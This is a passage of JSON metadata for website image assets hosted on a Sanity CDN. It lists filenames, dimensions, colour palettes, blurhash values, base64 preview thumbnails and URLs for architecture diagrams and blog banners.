","foreground":"#fff","population":7.9,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event-driven architecture.PNG","path":"images/sczeoy4w/production/a187bd8f8ad965e432e4745a48c64e297212262d-1546x702.png","sha1hash":"a187bd8f8ad965e432e4745a48c64e297212262d","size":129238,"uploadId":"R674R1kRLKbm5qkrqVQVhFr1I76R5cWK","url":"https://cdn.sanity.io/images/sczeoy4w/production/a187bd8f8ad965e432e4745a48c64e297212262d-1546x702.png"} {"_createdAt":"2024-04-24T06:07:05Z","_id":"image-70eaf72de98a88aa51ab7bf47aba33d2df1cc9e4-1117x626-png","_rev":"5IhFiMlEPind7xYcJkYn4H","_type":"sanity.imageAsset","_updatedAt":"2024-04-24T06:07:05Z","assetId":"70eaf72de98a88aa51ab7bf47aba33d2df1cc9e4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47e4D~nD#V[V=~Y%LIVtSWs%3ROMxs;t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7843450479233227,"height":626,"width":1117},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACtklEQVQokT2OWW8aBxSF52dUqgMMGGZhBpgZBgwUAcbU2MQxsZOQKIlSqZWaqG/d0tTGG8MSbJbBGJwYOWmUPvRXfhGjqA+fzr336Fwd4RvxR3zSzwTklx6i8ur/eYlffkVI+xXZ+BvFPCSaPEKzj5HNJgH1Nd+Gf/NYifzBHelPhIDyC3b+Detbp2zUWpRrZxSrJ5Sqp978/U6bav2C2v6E+uMZ95/Mqe1PKVQHqMkT7kivPXzyX/iVNwiy8TuVu10ePHV5+Mxl78mI3caQ3UcD6o0hD55OePR8TuPFgh9efuL5T/+wWb8isz5Asc7wKwf4lUMC0SaidoQQXztke2/A4xczHj6bsttwqTdcTys7fbLlNrmNPqXtCVt711TuzTBy50hmh6B+gk8+wK82CeqnhGItBM0+orR1zva+y9b9MRt3h2zuumzWJ6SLPVZjh4hak3DCQUn2PMKJLqGYg189ZkU6wKccIWotgjEHIRRrksg4pAo90sU+qeIF6dKIVHFMIneObDmEYqcEomf41RYBrU1QX7Zr41NOWJGP8SlnBKIOot5BWNbWUh2M3Fus/AC74GJ85xLLjNAzY7S1IZLZQ9TbiFqXYOwtoXjfI6B18KsOAa2LqPc8T/BHW4TiHcJGD9m6QE2NUewxkjVCspY6/hpeBs5ZTQyJmCMi5pjVxAWi3v96HxA2hgii6hCOOkTiPe+JnJyg2JdE01fomTl6ZoZiu0TMIZLlIlmXyMkpsj0lYrqE4kNWjTERc+J5gqY7ZM0WufyYbOUGu3SDVViQ2/zI+s5nirVPpMs32MX3GPn3RNPXqOl3qKlrItaUsHGJZF0h23OU1DVCPN4lb3colKbkq7eky7ckix8obP9Ldf8/yvc+k63ckq18xC59QM8s0NYWqOkbItaMiDVHsd95e3RtwRdhL6uv5YmzYwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3656","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b1a6f","foreground":"#fff","population":0.8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#243495","foreground":"#fff","population":6.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b9cc9","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c84cc","foreground":"#fff","population":0.64,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d76a4","foreground":"#fff","population":2.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#243495","foreground":"#fff","population":6.86,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"retail-ebook-google-aiven.png","path":"images/sczeoy4w/production/70eaf72de98a88aa51ab7bf47aba33d2df1cc9e4-1117x626.png","sha1hash":"70eaf72de98a88aa51ab7bf47aba33d2df1cc9e4","size":147255,"uploadId":"kn4VYPYxGHucRNepEV9GHi0891U8Qs45","url":"https://cdn.sanity.io/images/sczeoy4w/production/70eaf72de98a88aa51ab7bf47aba33d2df1cc9e4-1117x626.png"} {"_createdAt":"2024-05-24T08:49:14Z","_id":"image-5deeb953cbf0fdea0dd77fa1b1fad47abb450388-1200x628-png","_rev":"jlE3yG3C5Lxk0cUOqWmvMw","_type":"sanity.imageAsset","_updatedAt":"2024-05-24T08:49:14Z","assetId":"5deeb953cbf0fdea0dd77fa1b1fad47abb450388","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9AwJg4ms5%200~p9Ht6%LD+00%LWBRl%L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACp0lEQVQokSXS3U9SARzGcf6CLlJDUcx4EZJEhBTkiHSKFA9CcNB8yebaWq8zYzkNCQkQIkCi40q96NXWjZsXubW2cmtr1UUXdeH/823CP/B5fs+en6pBM4nhzHVsznkcQgyXdxnh/CPc4ioub4oBMYtLzNHnzdPrfoKxJ4vZXkCKbHPrzhvmrm0iXCjR0ZWixRBHdUI7TU//XUR/nJFQCimyhhTOMxouEJDLSHKFC4EygxeLuMQSvUKJ6Ow7tjYP2N/Z473ymsTKB4ZGntNmWkV1on0a+8A8/lCSYDTLWDSHFMkzFi0SmaoSnlQIjitI8gaiVMUXfEGufMC/34f83fvI97ebfNr9xo17u+i683XQ4b6HFE4xJmcYvZRhNJwnNFFCnq6DocsbSLKC81yJIb9CaeMHf34d8vXVFvsvq3zZ/0ks/plOe+UInKFPWCAQeVwHw9nahaHxEuHJZ4QmqgyHKrjEAgbrY8z2HFdv7VLd/M56bpv8qkI6/4nQ9A46axmV+uQM/Z77dTB6hK0RjBaQp9ZrlQNyBa+/iMOTw9SbpsOSpkd4hjT5Fnl2C2lcQfArmBwFtOa1+ii2o1GGH3Len0D0JxkJrtUqj0XL+AJFPMMFBF+xtrLemsXseErfOYUBn4JtsIiuO43GmEBjTKJqapnAYr6K03mHPiGGfeABbjHBcDCHL/AEpzeD1Zmiuz9Npy2NrjuDzb3O0MgLPBertRDdmSQaQ7yGqhrUMob2cSyn5zBZb6K33MZij9HvSXBWSGKyPaStcxGNcYlW4wrtp1N0nX2Kw1OpYabeFO3mOC2GZTTGR6iONckcV8s0aS7TqL1Co3YOdcd1NPrbtOrnadEtoD4Vo1m3WHvcts5VTnZl6OhKozWv0Gpcolm/SLN+iVZTiv/2xJVFevtHegAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#43497b","foreground":"#fff","population":2.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041667","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2584","foreground":"#fff","population":6.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1a99c","foreground":"#000","population":0.79,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0a9d4","foreground":"#000","population":2.89,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a77b67","foreground":"#fff","population":0.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2584","foreground":"#fff","population":6.67,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AI-Blog-Conrad.png","path":"images/sczeoy4w/production/5deeb953cbf0fdea0dd77fa1b1fad47abb450388-1200x628.png","sha1hash":"5deeb953cbf0fdea0dd77fa1b1fad47abb450388","size":314339,"uploadId":"hcjgFfb1qfULqkHLf9PpxIJ5I1Rv6fVs","url":"https://cdn.sanity.io/images/sczeoy4w/production/5deeb953cbf0fdea0dd77fa1b1fad47abb450388-1200x628.png"} {"_createdAt":"2024-05-24T08:49:14Z","_id":"image-4da5b3be56ab9bc8e6230fcf0872475b889dee6f-1200x628-png","_rev":"jlE3yG3C5Lxk0cUOqWmvPa","_type":"sanity.imageAsset","_updatedAt":"2024-05-24T08:49:14Z","assetId":"4da5b3be56ab9bc8e6230fcf0872475b889dee6f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7Ad820Jw;$~02~p9aocxtIu00?ERkIs?F","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqElEQVQokU3SW0+SAQDG8fcTdFE6lIMSchIUSUBERQmSOL3KyVyZtkpNMyrDFEF4MRFJzFBn06112GqVtbnWqou2ti76XP82venqufvtufgL5+SjaFpvYe6cxWybo93xEEtXmg7nEhdcOWy9RezuNezuddq6SqjNq+itZVwXK3gGs3gGc9j6SqhNEo3aZYQG9RidrhQef4aLgRzeYAFvsIgvVGIwUsEvVgnGaoQTe7j921i6NwknDnh4f5v01CyZ1CKpB4e4/TWUhgKCSjuB2/eYSLxIJP6EUKxEKFYmkthkaGSboZEdYlf3SYwd4A3v4Pbvkskf8/7gkLeFaY53JL68+8bk3Ec0ljKCSncKhqISwWiRYHSN8H+gOFJjeHQPcWQfp6eKy1ejXP3Jr8+f+LH1iL+vn/Ln+2/ml76i79w+fdjjSXNZzJ+A4XgJMVFhKFlFTD5DTNYYurJHILpDh6uMybHBzIMjPrw65mirwNHzNV7UPhC/9gaN5RmCsmWc7oFH+MU8geEi4VgJMXkKhmJVBiNV+i8/pcuzgd66SnNrkR7fLrenX5KaKnJ7fJnw8AYmRxmVsYQgP38dR+99vIEM3mAOX0giMLxOKFqh31/C2l1A15FFbcqiNORoMkqYHZs4Pc9x9K3Rbl9Ba8mjMqyg0OcRGlSjWNtv0tNzD2d/GnvfAu5LefxiGeeAhMmWpaUtg1K/dJJFs6lIh2sLR38Ns72M1iKhaSvQZMwh1+UQzsni6JqTmE03MFjuoDHNYLbN4xxYwdqdw2zLordmaTJmkGuXURkldNYNWm0VNG0SKuMySkMGuS6DXL+CcKY+zllZnHr5FeqUY9SpJpCpJ1Fo76LQplDq5lHoFmjULp6ACn0BpWH1ZBtblpBpFpBp0jS0LKIwSPwDLU+N9/woxTMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444a7b","foreground":"#fff","population":2.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":9.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":9.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cead97","foreground":"#000","population":1.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a1a8d3","foreground":"#000","population":2.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af7d5a","foreground":"#fff","population":1.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a9503e","foreground":"#fff","population":0.25,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AI-Blog-Helthjem.png","path":"images/sczeoy4w/production/4da5b3be56ab9bc8e6230fcf0872475b889dee6f-1200x628.png","sha1hash":"4da5b3be56ab9bc8e6230fcf0872475b889dee6f","size":303534,"uploadId":"RPZyj7PvocGdaFg952MPt8oQdSS9QFxD","url":"https://cdn.sanity.io/images/sczeoy4w/production/4da5b3be56ab9bc8e6230fcf0872475b889dee6f-1200x628.png"} {"_createdAt":"2024-05-08T16:13:33Z","_id":"image-d34eb4542373b708eecdef524a641ebff99db082-2385x2054-png","_rev":"CchYE8Ew9JhQGDAfXsA3wF","_type":"sanity.imageAsset","_updatedAt":"2024-05-10T11:50:11Z","altText":"Aiven marketecture","assetId":"d34eb4542373b708eecdef524a641ebff99db082","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eOFrP%jJ9@kWEJu6a#waoMM^1sbarTjGro]ejGK8kCRjiYjbn%kAJE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1611489776046737,"height":2054,"width":2385},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFaklEQVQ4jS2Ua0xTZwCGvxEQnOBARSOKmKkwhpmoE0z84SXboiPIHdpyoKW0pfdSbLlDSwtlAqVcIhMBQUnLdVBKkItIudNSWgpMCQMVUXC05xwlM0Yl9iwu+/HmSZ7k+fsCTqYFNLQjQFoGO+SVwruKb8M7GjuRXdVKxLNaiXg0diKOZ396BTAMAx0DqP3dVmRfTRNy+N4fiIv8Duz4pZEoYIfsIisorIQBmJp/A3pGUbuaZsS5sgF2r21GXDoH0Z2qbmSPUoO41bUgTrnFVoecIuuOahXiqNIg3zR1I3vUg6hzoxpxrWlCPBrakW+6taidWA4DUK2EQe8Yat/eh7qoNMje1l509/0OxKmsFnYuuQ27yipht4Jy2P3/7Smqgl0VtbCLUoM4dz1CD6gH0aOaIdS9dxx1KL9rBUBWuQ1aeix2da2w0637yG5FLeyWXw7vE5XAB0Ul1kOKO8iRlq6tE23dW97ltajXFycqgT1uVsEHapsRD5UG8WjrQ1w7H8L2pTUYABIF4iBRIF/nlcJ7xXKrp1huPS6WW72/UFIKH7nX9o+nzvzR27Dw0UelfucpVSCHxXLrMbHc6iNRWL3zy+GjBRXw/oIKxFlahu4AmYUbZzNk6ydziv72y5NvnpKWbvrLFJt+MsXmsSzZuhcnfekETzh3jic0B7JSF33SpK+8ChSWb2VlFl+pwnIqT245lVu0eTJDtu6XIVs/DYSStWxu5l9RKblPz+bKEb/04rf+bLHlHMR9ejEozhx5LXxEGBOsrsIHdVb/GqrNvkYw4nGMpSuMrI2A1EL0dK4cPSmUrPpzMpaup4ieCcEN8fM6cvI8LZysP5NEHfbPJDeFp0P16cTojtqr4VptUOTwCgWneUOL6doKjtC++DlidAIP9TcKmB2inGQ1nsMdOReRoPshnj0by81avgV42U/byBRtgTA4n90QAkkeRId19ePCF+ujGGhWeNEnJqEZ49D6MDZjEKNTejAB9d52VcrNrQei1JUBUXJ/s1BYJKaUsMnUgVxm2qIKcDKWp5gJGn1ZKHdhLOzCxhrB9z1K8v68DvlihqjzWDsh1laeKLbJWUW2RkGmbUyUiK0qYjD0dqTtdUX4hxkpZKnj5zxJZqgNdMGTGcDPfV7PYWqHJQT5mjKa/H6S8MvnJehHbDX2OLYGHbQ9o3jZFnn+tseCANty+hnbam6gbbXwKrYsJ2Azv9FsHVnpH4r5v79O4Wt1vKyVNpAqfXmeJZhLpDOH6/k0zayYXLdeCuVtNUDkj0OUi7YVnjf2JssLe5t9BFsVHMfGOJdsSg7zUwW/dKvghmpdwOsxs3hjKm7an+xUycvLIDpx2jeWbiIRuXNKcvL8NJkza0hMGp3iUtsX8unlGw3slHd9ybjtgeSobSWb9f4mvXiTn9TyJIk1Ok5NNo8mcOcmiZy51niWmY2nzQSACOJEYAxFnxLPnOkgsYyTEMM4AjFMD0ns2VEq1zjN443OZHLV81ncjgU+T2ukcQ0GEts0Fsc09cczTUMktnGKyDL2x9INBVEJU8EgLH7ULYo8+T2eqg/CUXR0HEVXEkc3PCCyjMZ41qyOxF3opQkWu6g3FruInIWeeJZ5gsgymSC64RGOoq/CU3UpsUn6aDxNFxBJGj8E8Enm/67p8vVu+2CC1i2aPOlPoE3HEmjT2TiKTkFkGVoZAvM4jW+egugGNY6iqyTQpkV4qj4xMmHyfAg0vP9adL9j4JX7XyXwlgGIoRgBI+0FOODTCLxOD4GQ2EG7UEjrFBo34h5BGg8gsqaFNL6pi8wx9hJoekkkaeJSWPzIwdC44Z0h0CO77y48BheuPQR94xiAGPPgXygg4XYhcN8bAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3262","foreground":"#fff","population":2.93,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c3c1f","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f76908","foreground":"#fff","population":5.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7979c1","foreground":"#fff","population":0.67,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc464","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#535ba8","foreground":"#fff","population":1.51,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f76908","foreground":"#fff","population":5.2,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"aiven-marketecture-diagram-v3.png","path":"images/sczeoy4w/production/d34eb4542373b708eecdef524a641ebff99db082-2385x2054.png","sha1hash":"d34eb4542373b708eecdef524a641ebff99db082","size":228310,"title":null,"uploadId":"uMe3Unrf7eBlYbKp9oIdizUgyiB5jPWC","url":"https://cdn.sanity.io/images/sczeoy4w/production/d34eb4542373b708eecdef524a641ebff99db082-2385x2054.png"} {"_createdAt":"2024-04-30T13:23:05Z","_id":"image-e72ca57c749520f0bcd6edf9361a8d18f28c10c2-1920x1080-png","_rev":"4CkiyUyzrvTW3s6mCoSoD8","_type":"sanity.imageAsset","_updatedAt":"2024-04-30T13:23:05Z","assetId":"e72ca57c749520f0bcd6edf9361a8d18f28c10c2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47-dW~hIRM{D%x{obbBtTR%00D$V@sR-p","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACzElEQVQokSWSa1MaBxSG9xc0Xrgs98uyy22BhQCyIhenWNSGRFttwkQnNYLhblAugkC1Y2wzaaftTPN7n470w/l05jznfWcewWD7CZf/HVL4HE+ghjfUQI508IR6WH0dzJ4eonSF1TfCpkyxBxbYA/fYlAWid4jJ3cPobGJwfMDk7iKYnW8IxOok9C7JbJ9kdkBya0wiO0HLTNH0OZp+RyL7QKrwmVThD6L6F2TtE+7QLXZlgNnTweBsYHS1EUR3lVi6Ra40pFiesr07p1hekNv5ha3SPYXyI4XyZ4p7f1Kq/EOp8i+Fva+kt/8ipn9Cid9ilftLmMndQTC7qmwWe7w6mpErjYgkL9HzA/a/n/BteU5cn6OmZqQLt+S/m5MuPhDPfkHb/I1UbkZCH+IKXC7rmr3XCE7llOrpgtnsb14dL5DUJvt7Q+6uH2nWHokkb7D5u2TydSov6ySzPRzBW3yRIbs7LY4qLVStgcnd/h/okE+o/Dik2f2VvYMJSqzNixcT7oe/L4HR9ARHoMNmvsbhyzobWy0cgQE+tc/Bfpv3xx0Sz+sYnReYXB0Eo+M1ocQ5G4UWsY02cqRJItNnd3/K9s6McHKMN3xJ9HmPbO7jcqfEhvi1G7aKY0qlK8JaG7OnifEJuGY5wqOcEIzVkNULXP46ktommh6i6VPU5Bg50kcK9/CpXaRwG0+oi1cdEYiPCMY/Lh9afZeYPX0Eg3iI4j4mop7hj37AqdSXR5o+JpWfk8rN0TIjlGgPq1TH4HiH0XGG6O1glXpYvE0sUheLdIVFGiGsmw9w2w+R5RO8wRo23zlOf4Ng4ppY5snFCWryCincwuT6mRWxyorlLev2+lKVp3lKZvHdYFXmCN+YDlkx/cCqeMyqtcqa9ZR1+xlG1wWip4XZ3cDgeM+a7ZRVy1ueia95Jr5hzXa2VEX0DrDIU2z+O+yBB/4D0OSJOj1CXMAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b4469","foreground":"#fff","population":2.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04287c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2580","foreground":"#fff","population":9.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8c0cd","foreground":"#000","population":8.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#919ae7","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656a8d","foreground":"#fff","population":3.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2580","foreground":"#fff","population":9.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of Devrel Video thumbnail template (1290x1080 169).png","path":"images/sczeoy4w/production/e72ca57c749520f0bcd6edf9361a8d18f28c10c2-1920x1080.png","sha1hash":"e72ca57c749520f0bcd6edf9361a8d18f28c10c2","size":718677,"uploadId":"C24KAJ1XnIxRlqUk9xx29ux15DrFnv0y","url":"https://cdn.sanity.io/images/sczeoy4w/production/e72ca57c749520f0bcd6edf9361a8d18f28c10c2-1920x1080.png"} {"_createdAt":"2024-05-06T12:21:01Z","_id":"image-ee1ba5b618b907935f0835bcb82b63559b114c69-1624x1208-png","_rev":"BBilaBRu5SWkONsyWkbVKr","_type":"sanity.imageAsset","_updatedAt":"2024-05-06T12:21:01Z","assetId":"ee1ba5b618b907935f0835bcb82b63559b114c69","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VJL|yB~X00?H9ZD*8_?bkqR50K_3-pIU?H00Oss:-UNG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3443708609271523,"height":1208,"width":1624},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEXklEQVQ4jV2Te2wUVRTGbxMRETXVhCDhD0I0aNSQVJAGEo2PKBJ8lWBr05iYqEApdou2Ai0UqH3Io1IqfQiWum6BAo1YC20tBZutlEcK3Yct3d3SbXdndnZ3HvfeuTN3Zlt2r+mCmvglv5zknOTkOyfngK7f+2Y3W0+tPHX6XF6f/XqRa3gsw+f1zwcOBgC7R5AxwO7znxamAPBkCvt/rbnlfOqusrqcXWX1tpq6s78dOXZh/+eWhrVLlm1Oezptc9ozy7csXZNV9VTLBfe8gMrmWk92P/TOup0LX1yZt2LZqrz0PEvt4uGRsdRwODS7oGBbCrh8efD58r1H9+dtqnTkbto3lrtx382cj0o7168rblv/wba27MxdrRV7mo7c+nOoROajmR5PML3haEdu/lf1bQWFje3t5wcOQaTmG4bxssfrmws8zturLx5r6jpVXEyOFxUbxwt30OYvC42mr3cax7cWGrbtJfRSbQ0MttsE+Ya9OzzJ7XC47pzu7rmBenoHTa8vIEOIRgkhlaIoLgLC2Pj7oZ6zA6GWfSxgO8iCJ6oZb61igZOHGWetZFzLASac+Z7hXw4zaP91XA4GGyBSe8SoNCVJClMUhUmSFIMQ2hRFeQ6E+cgaxTvcqbqvyNB1VcGuqxJx2iXovi5j1xUFuQZm8hJ29ivQ4xqUI1K1rtMzVCOcoWuyphEZIcRhjBtkWX4WcLz0giAoX0QE+ZDAi42hSf5kaII7K/BRa1iQ6iKCVB/mo7YoJ5wRBalakvDHmooLKZSbKYZWQ9frdF2vIoRkh8Ph+cDrC8zhBTRPgXRRJCS+Oe7xl/tujzfyAWGrirR0JOPXuAm+1O+daAxNhrZiWXlDiUq5ES70oxgKVxMI39OIulgUxcd9Xu8sAMACAMBjs5a/9Flqx7k/Xhmw36y82n+raaB/qKD1RNfSjva+VYPXXLtHnKNHOH9gg47QW7KoNPB8lAsL0jWsoOw4FufM3OGE1wNAZ/e1JzZuOfz62ozSzVk55XssBbWNRUV1P23MO1STkbm3JDOnYndJydGDned6t0eD3OoY1VdBCX4XCUsjUlTp1bH6IYtpDzMWByx+F8yMvOJE66Ufqg60jpZ+8/PE3gqbv6zC5t9TbvOXllmTsaa2bfiKffAiUeRvp6n6thYRVmOB/5SIkayYipYwU3tgxuG0TgBASF07difY53B640MOL3M4ff8yeGuUDTl9bHhkPBGY5KYJUlxTMLohdr1jQaK7PpWN2B9lUEg2S0JVAAzDeFfTtH5VVeOU0sQ/6LqewBgnNE1LEEISsiQxFSG/qcItdKg3NbkzAACbNgEzMGCOLsBiWrLhq5RSK6XUGYvF3KZpug3DcOu67oYQulVVdRNCXAihvzRCOimlWQQpjyRHvBtPiU9NAcbdBkzw3HOoadpiwzDWm6aZH4vFLKZpJtE0zQIhtGCMLZTSmV+1GIbxia7TpQrCD04RBEyCQSIDAHafGf0NZmVR5Yneg2EAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#333562","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#571c0a","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2540f","foreground":"#fff","population":2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccbca8","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb464","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad5c55","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2540f","foreground":"#fff","population":2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-aiven-on-azure.png","path":"images/sczeoy4w/production/ee1ba5b618b907935f0835bcb82b63559b114c69-1624x1208.png","sha1hash":"ee1ba5b618b907935f0835bcb82b63559b114c69","size":39791,"uploadId":"UDZcEvdroboJZ0bHjphSgsz1qE8kcJGN","url":"https://cdn.sanity.io/images/sczeoy4w/production/ee1ba5b618b907935f0835bcb82b63559b114c69-1624x1208.png"} {"_createdAt":"2024-05-24T10:25:21Z","_id":"image-783e94bbcbfc97127ffd4f06e7d0a765dd51345b-1200x628-png","_rev":"kvD2acrBmFSZeMYobheVoD","_type":"sanity.imageAsset","_updatedAt":"2024-05-24T10:25:21Z","assetId":"783e94bbcbfc97127ffd4f06e7d0a765dd51345b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M28EDnp4VUQ+00~VJZRhsiE:00x7WCR=~T","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACk0lEQVQokSXSW1MaBwDF8f0E6YyGrMKiuOyFZUFwQxmqjBrBS1C5qRBNdTptY2syVvC2yh3XCxpq0ibpY7/qPxPycOa8/eY8HOEHcRNxfIcx9Rd8gd/xmweo4UPUcAUtcophXRKwGuhTLZTJNmNGZxAlWseIVdGtCj7TxqPVGFUuEYbcJQKRfaZfnDK7eMH8cpNU5oqFlw4LmVtSqw8k0z2s5A3BmMNEqINmNZhfOma3/JbNwgFW8i/GQxd4tAaCS3rFVOKQlWyLteIV65u35EsP5Ep9sluPZLc+spR9JLHQw3juIIdbRGdt9vaO+a9uc12psrh6gPr8DK9xhSCO7RCbOWK10Ca76QzA3Nb9AMyVHsmV/iFT/MhM+gEt0sUXahBLXbL/Z53/rzv0zm1W8u8IxG18ofvv4I/JIzL5NusbDmvFa9Y3euRLfQrlDwNwOfeB+NwdcqiF12gSne+ye/Aep/2e42qXVL6GFmsxbt4juLzbRBOHLK01yBS6ZPIOK7kbltZvSK/ekcrck1zsMZm4whdsIuktjPgdy1tf2N7/TO7nPvH0DRPhDlLAQRh2l9FCvxFPVkimbJKpGom5GtGEjTF1jh65QI3UkEN1vHqdMaONGX9gOv2J2Zf/kkj3MePXeANN3GoTYUjcQPaVMUO/Ylpv0SbfYVpV4rN1gpaN219BlKuMKme4lUvGgx0iP/UHYOLF30xN36FHO0haDbdaRxh6VkCWigS0XRTzDV71DYHoEQsrDrGZJh6lwjNflRH/2eBnXr2NGrklGOuhRbv4gnUk/YJRxcatNhCeuIoMixu4PGVc3tc8lfaQlD8IWico4RNG5CPEie/gt4UerYWkdwc96rcR5VNE+YQR/zkevc1Xsu14nTKFMT8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334763","foreground":"#fff","population":1.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.49,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#869abe","foreground":"#000","population":1.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c3c9e7","foreground":"#000","population":7.81,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background